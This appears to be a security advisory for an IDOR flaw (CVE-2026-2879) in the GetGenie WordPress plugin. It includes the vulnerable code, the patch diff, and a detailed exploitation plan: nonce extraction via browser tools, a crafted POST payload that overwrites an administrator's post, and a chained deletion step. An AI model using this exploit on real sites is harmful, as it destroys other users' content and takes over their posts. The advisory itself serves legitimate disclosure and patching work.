GetGenie <= 4.3.2 - Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Post Overwrite/Deletion
Description
The GetGenie plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.3.2. This is due to missing validation on the `id` parameter in the `create()` method of the `GetGenieChat` REST API endpoint. The method accepts a user-controlled post ID and, when a post with that ID exists, calls `wp_update_post()` without verifying that the current user owns the post or that the post is of the expected `getgenie_chat` type. This makes it possible for authenticated attackers, with Author-level access and above, to overwrite arbitrary posts owned by any user — including Administrators — effectively destroying the original content by changing its `post_type` to `getgenie_chat` and reassigning `post_author` to the attacker.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:LTechnical Details
What Changed in the Fix
Changes introduced in v4.3.3
Source Code
WordPress.org SVN# Research Plan: CVE-2026-2879 - IDOR Arbitrary Post Overwrite in GetGenie ## 1. Vulnerability Summary The **GetGenie** plugin for WordPress (versions <= 4.3.2) is vulnerable to an **Insecure Direct Object Reference (IDOR)** within its REST API implementation. The endpoint `getgenie/v1/geniechat/cr…
Show full research plan
Research Plan: CVE-2026-2879 - IDOR Arbitrary Post Overwrite in GetGenie
1. Vulnerability Summary
The GetGenie plugin for WordPress (versions <= 4.3.2) is vulnerable to an Insecure Direct Object Reference (IDOR) within its REST API implementation. The endpoint getgenie/v1/geniechat/create allows authenticated users with the publish_posts capability (Author level and above) to overwrite any post on the site.
The vulnerability exists because the create() method in app/Api/GetGenieChat.php accepts a user-supplied id parameter. When this ID is provided, the plugin calls wp_update_post() with a payload that forces the post_type to getgenie_chat and the post_author to the current user, without verifying if the user has permission to edit that specific post or if the post is even a chat conversation.
2. Attack Vector Analysis
- Endpoint:
/wp-json/getgenie/v1/geniechat/create - Method:
POST(The route acceptsALLMETHODS, but the logic expects a JSON body). - Authentication Required: Author-level credentials (
publish_postscapability). - Nonce Required: Yes, a valid WordPress REST API nonce (
wp_rest). - Preconditions:
- The attacker must be logged in as a user with the
Authorrole or higher. - The attacker must know the ID of the target post they wish to overwrite (e.g., an Administrator's post or a critical Page).
- The attacker must be logged in as a user with the
3. Code Flow
- Route Registration: In
app/Api/GetGenieChat.php, the__constructmethod registers the routegetgenie/v1/geniechat/(?P<action>[\w-]+). - Callback Execution: The
actions()method receives the request and, for thecreateaction, calls$this->create($request). - Nonce Check:
create()callswp_verify_nonce($request->get_header('X-WP-Nonce'), 'wp_rest'). - Authorization Check:
create()checksif (!is_user_logged_in() || !current_user_can('publish_posts')). - Vulnerable Sink:
- The code decodes the JSON body:
$req = json_decode($body);. - It extracts the ID:
$conversation_id = $req->id ?? '';. - If
idis present, it prepares a$recordarray using the supplied ID. - It calls
wp_update_post($record), which updates the database entry for that ID, changing thepost_typetogetgenie_chat, thepost_authorto the attacker's ID, and thepost_titleto a generated string.
- The code decodes the JSON body:
4. Nonce Acquisition Strategy
The plugin exposes the required REST nonce in a global JavaScript object named window.getGenie.
- Trigger Script Loading: The function
genie_header_script_data()is hooked toadmin_head. This means the nonce is available on almost any admin dashboard page for a logged-in user. - Strategy:
- Log in as the Author user.
- Navigate to
/wp-admin/index.php. - Use
browser_evalto extract the nonce:window.getGenie?.restNonce.
5. Exploitation Strategy
Step 1: Target Identification
Identify a target post ID owned by the Administrator (e.g., Post ID 1).
Step 2: Nonce Extraction
Use the browser_navigate and browser_eval tools to obtain the nonce as the Author user.
Step 3: Execution
Send a crafted POST request to the vulnerable endpoint.
Request Details:
- URL:
http://localhost:8080/wp-json/getgenie/v1/geniechat/create - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{
"id": 1,
"templateSlug": "pwned-post",
"messages": [
{
"role": "user",
"content": "This post has been overwritten by an IDOR vulnerability."
}
]
}
6. Test Data Setup
- Administrator Post: Ensure a post exists with ID 1 (standard WordPress default) or create a specific target:
wp post create --post_type=post --post_title="Sensitive Admin Content" --post_status=publish --post_author=1 - Attacker User: Create a user with the
Authorrole:wp user create attacker attacker@example.com --role=author --user_pass=password
7. Expected Results
- The REST API should return a JSON response:
{"status": "success", "data": {"conversation_id": 1}, "message": ["Chat updated successfully."] ...}. - The target post (ID 1) will have its
post_typechanged fromposttogetgenie_chat. - The target post's
post_authorwill be changed from1(Admin) to the ID of theattackeruser. - The original content of the post will be effectively "deleted" or inaccessible as a regular post, as it is now a
getgenie_chatobject.
8. Verification Steps
After the exploit, use WP-CLI to inspect the state of the target post:
- Check Post Type and Author:
wp post get 1 --field=post_type(Expected:getgenie_chat)wp post get 1 --field=post_author(Expected: ID of the attacker user) - Check Meta Data:
wp post meta get 1 getgenie_chat_template_slug(Expected:pwned-post)
9. Alternative Approaches
If the create action is restricted or fails, the plugin also includes a clear method in the same class.
clearIDOR: Inapp/Api/GetGenieChat.php, theclear()method also accepts a user-controlledid. While it includes a checkif (!$post || $post->post_type !== 'getgenie_chat' || (int) $post->post_author !== get_current_user_id()), an attacker could potentially chain this with thecreateexploit:- Use
createto change an Admin post togetgenie_chatand steal ownership. - Use
clearto permanently delete (trash) that post ID now that the ownership check passes.
- Use
Summary
The GetGenie plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via its REST API. Authenticated users with Author-level permissions can overwrite arbitrary posts, including those belonging to administrators, by providing a target post ID to the `create` action of the `geniechat` endpoint, which subsequently changes the post's type and ownership.
Vulnerable Code
// app/Api/GetGenieChat.php public function create($request) { // ... (nonce and capability checks omitted) ... if (!is_user_logged_in() || !current_user_can('publish_posts')) { return [ 'status' => 'fail', 'message' => ['Access denied.'], ]; } $body = $request->get_body(); $req = json_decode($body); $conversation_id = $req->id ?? ''; if (empty($conversation_id)) { // ... (post insertion logic) ... } else { $record = array( 'ID' => $conversation_id, 'post_title' => $req->templateSlug . '-' . date('Y-m-d H:i:s'), 'post_status' => 'publish', 'post_type' => 'getgenie_chat', 'post_author' => get_current_user_id(), 'meta_input' => array( 'getgenie_chat_template_slug' => $req->templateSlug, 'getgenie_chat_messages' => $req->messages, ), ); // Update the post into the database wp_update_post($record); $message = 'Chat updated successfully.'; } // ...
Security Fix
@@ -75,6 +75,15 @@ $conversation_id = wp_insert_post($record); $message = 'Chat created successfully.'; } else { + // Verify the post exists, belongs to current user, and is the correct post type + $post = get_post($conversation_id); + if (!$post || $post->post_type !== 'getgenie_chat' || (int) $post->post_author !== get_current_user_id()) { + return [ + 'status' => 'fail', + 'message' => ['Access denied. You can only update your own chat conversations.'], + ]; + } + $record = array( 'ID' => $conversation_id, 'post_title' => $req->templateSlug . '-' . date('Y-m-d H:i:s'),
Exploit Outline
1. Identify the post ID of a target post (e.g., an Administrator's page or post). 2. Log in as a user with Author-level permissions (`publish_posts` capability). 3. Obtain a valid REST API nonce (`wp_rest`) from the `window.getGenie.restNonce` global variable available in the WordPress admin dashboard. 4. Craft a POST request to `/wp-json/getgenie/v1/geniechat/create` with the `X-WP-Nonce` header set to the extracted nonce. 5. In the JSON request body, include the target post ID in the `id` field and provide dummy content for `templateSlug` and `messages`. 6. Upon execution, the server-side logic in `create()` will use `wp_update_post()` to modify the target ID. This changes the `post_type` to `getgenie_chat`, resets the `post_author` to the attacker, and overwrites the content with chat metadata, effectively hijacking or destroying the original post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.